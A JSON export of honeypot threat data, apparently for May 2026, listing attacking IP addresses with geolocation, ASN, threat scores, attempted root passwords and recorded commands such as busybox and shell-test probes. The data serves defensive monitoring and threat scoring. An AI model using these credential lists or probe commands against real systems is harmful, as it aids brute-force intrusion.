        "last_seen_30d": "2026-05-27T13:24:14.407000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 60
      }
    },
    "68.235.62.179": {
      "attack_count": 114,
      "first_seen": "2026-05-05T01:04:59.809Z",
      "last_seen": "2026-05-30T11:26:31.853Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 53.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:04:59.809000+00:00",
        "last_seen_30d": "2026-05-30T11:27:35.943000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 56
      }
    },
    "34.53.240.223": {
      "attack_count": 74,
      "first_seen": "2026-05-25T08:19:26.349Z",
      "last_seen": "2026-05-25T08:20:18.386Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 3639",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T08:19:26.349000+00:00",
        "last_seen_30d": "2026-05-25T08:21:27.841000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 42
      }
    },
    "35.190.198.48": {
      "attack_count": 72,
      "first_seen": "2026-05-08T09:04:54.052Z",
      "last_seen": "2026-05-08T09:05:58.792Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 125",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T09:04:54.052000+00:00",
        "last_seen_30d": "2026-05-08T09:07:08.154000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "34.22.208.196": {
      "attack_count": 71,
      "first_seen": "2026-05-05T15:34:45.712Z",
      "last_seen": "2026-05-05T15:35:31.152Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8751",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:34:45.712000+00:00",
        "last_seen_30d": "2026-05-05T15:36:41.384000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "104.238.118.239": {
      "attack_count": 65,
      "first_seen": "2026-05-08T00:46:28.521Z",
      "last_seen": "2026-05-10T16:23:26.124Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.9,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T00:46:28.519000+00:00",
        "last_seen_30d": "2026-05-10T16:24:36.157000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 65,
        "Suricata": 59
      }
    },
    "198.20.127.163": {
      "attack_count": 54,
      "first_seen": "2026-05-03T02:24:20.690Z",
      "last_seen": "2026-05-29T11:41:40.361Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 48.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.9,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:24:20.690000+00:00",
        "last_seen_30d": "2026-05-29T11:42:50.052000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 26
      }
    },
    "103.186.77.95": {
      "attack_count": 50,
      "first_seen": "2026-05-19T20:33:44.514Z",
      "last_seen": "2026-05-19T20:39:09.022Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:33:44.514000+00:00",
        "last_seen_30d": "2026-05-19T20:40:17.279000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.244.172.148": {
      "attack_count": 50,
      "first_seen": "2026-05-18T12:24:01.052Z",
      "last_seen": "2026-05-18T12:29:25.510Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T12:24:01.052000+00:00",
        "last_seen_30d": "2026-05-18T12:30:29.653000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "139.135.43.43": {
      "attack_count": 50,
      "first_seen": "2026-05-07T23:46:49.137Z",
      "last_seen": "2026-05-07T23:52:13.602Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T23:46:49.137000+00:00",
        "last_seen_30d": "2026-05-07T23:53:16.233000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "102.211.234.171": {
      "attack_count": 48,
      "first_seen": "2026-05-10T07:44:26.706Z",
      "last_seen": "2026-05-30T17:41:00.389Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 55720,
      "as_org": "Gigabit Hosting Sdn Bhd",
      "threat_score": 45.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:44:26.706000+00:00",
        "last_seen_30d": "2026-05-30T17:42:03.869000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "60.243.6.47": {
      "attack_count": 48,
      "first_seen": "2026-05-30T08:06:49.671Z",
      "last_seen": "2026-05-30T08:12:13.380Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 30.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T08:06:49.671000+00:00",
        "last_seen_30d": "2026-05-30T08:13:17.017000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "91.92.42.88": {
      "attack_count": 46,
      "first_seen": "2026-05-24T16:30:35.232Z",
      "last_seen": "2026-05-27T05:18:27.145Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123",
        "root123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 209630,
      "as_org": "LLC Vash Kredit Bank",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.1,
        "persistence": 10.8,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 13,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:44:57.253000+00:00",
        "last_seen_30d": "2026-05-31T21:12:57.388000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Cowrie": 46
      }
    },
    "115.190.37.201": {
      "attack_count": 37,
      "first_seen": "2026-05-13T10:22:46.058Z",
      "last_seen": "2026-05-13T11:11:31.825Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123321123",
        "142536",
        "1q2w3e4R",
        "41274127",
        "gk123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:22:46.058000+00:00",
        "last_seen_30d": "2026-05-13T11:21:37.098000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 23
      }
    },
    "119.99.250.98": {
      "attack_count": 34,
      "first_seen": "2026-05-20T09:32:57.297Z",
      "last_seen": "2026-05-20T10:52:42.985Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T09:32:57.297000+00:00",
        "last_seen_30d": "2026-05-20T10:53:48.761000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "206.192.208.10": {
      "attack_count": 34,
      "first_seen": "2026-05-28T22:31:22.397Z",
      "last_seen": "2026-05-28T22:52:15.074Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 11976,
      "as_org": "Fidelity Communication International Inc.",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T22:31:22.397000+00:00",
        "last_seen_30d": "2026-05-28T22:53:23.974000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 19
      }
    },
    "138.121.113.28": {
      "attack_count": 32,
      "first_seen": "2026-05-11T23:49:56.726Z",
      "last_seen": "2026-05-12T00:00:26.307Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Laguna Blanca",
      "asn": 263791,
      "as_org": "REFSA TELECOMUNICACIONES",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T23:49:56.726000+00:00",
        "last_seen_30d": "2026-05-12T00:11:13.859000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "103.26.86.114": {
      "attack_count": 30,
      "first_seen": "2026-05-07T16:59:04.425Z",
      "last_seen": "2026-05-07T17:02:18.840Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T16:59:04.425000+00:00",
        "last_seen_30d": "2026-05-07T17:03:27.835000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "176.117.72.74": {
      "attack_count": 24,
      "first_seen": "2026-05-03T02:05:03.701Z",
      "last_seen": "2026-05-12T08:10:09.106Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 50673,
      "as_org": "Serverius Holding B.V.",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:05:03.701000+00:00",
        "last_seen_30d": "2026-05-12T08:11:16.369000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "209.209.8.82": {
      "attack_count": 24,
      "first_seen": "2026-05-17T12:57:04.925Z",
      "last_seen": "2026-05-20T19:20:40.909Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 26832,
      "as_org": "Rica Web Services",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T12:57:04.925000+00:00",
        "last_seen_30d": "2026-05-20T19:21:44.155000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "123.171.7.61": {
      "attack_count": 18,
      "first_seen": "2026-05-19T04:59:10.759Z",
      "last_seen": "2026-05-19T06:13:04.414Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:59:10.759000+00:00",
        "last_seen_30d": "2026-05-19T06:14:06.574000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 11
      }
    },
    "216.59.16.16": {
      "attack_count": 18,
      "first_seen": "2026-05-15T05:48:31.016Z",
      "last_seen": "2026-05-28T06:29:47.155Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piedmont",
      "asn": 15085,
      "as_org": "Immedion, LLC",
      "threat_score": 33.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:48:31.016000+00:00",
        "last_seen_30d": "2026-05-28T06:30:54.770000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "176.65.139.61": {
      "attack_count": 15,
      "first_seen": "2026-05-21T17:55:30.338Z",
      "last_seen": "2026-05-21T17:55:36.514Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "root"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 66.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.2,
        "persistence": 23.3,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 28,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T21:57:00.157000+00:00",
        "last_seen_30d": "2026-05-29T10:47:28.698000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 21,
        "Cowrie": 15,
        "Adbhoney": 9
      }
    },
    "91.220.63.98": {
      "attack_count": 14,
      "first_seen": "2026-05-05T14:26:33.068Z",
      "last_seen": "2026-05-05T15:28:32.355Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Bucharest",
      "asn": 197357,
      "as_org": "Chrominance SRL",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 286,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T12:37:53.724000+00:00",
        "last_seen_30d": "2026-05-05T18:49:54.817000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 272,
        "Cowrie": 14
      }
    },
    "108.181.36.113": {
      "attack_count": 12,
      "first_seen": "2026-05-03T00:40:23.529Z",
      "last_seen": "2026-05-03T21:07:59.849Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:40:23.529000+00:00",
        "last_seen_30d": "2026-05-03T21:09:09.901000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "20.168.111.80": {
      "attack_count": 12,
      "first_seen": "2026-05-09T12:53:50.903Z",
      "last_seen": "2026-05-09T12:56:15.400Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "07022023",
        "samuel1991"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T12:53:50.903000+00:00",
        "last_seen_30d": "2026-05-09T13:01:56.766000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 11
      }
    },
    "47.121.187.78": {
      "attack_count": 12,
      "first_seen": "2026-05-28T08:07:05.485Z",
      "last_seen": "2026-05-28T08:07:14.957Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "Aa123456",
        "W2eIRr3FDa"
      ],
      "commands_executed": [
        "echo 1 > /dev/null && cat /bin/echo"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
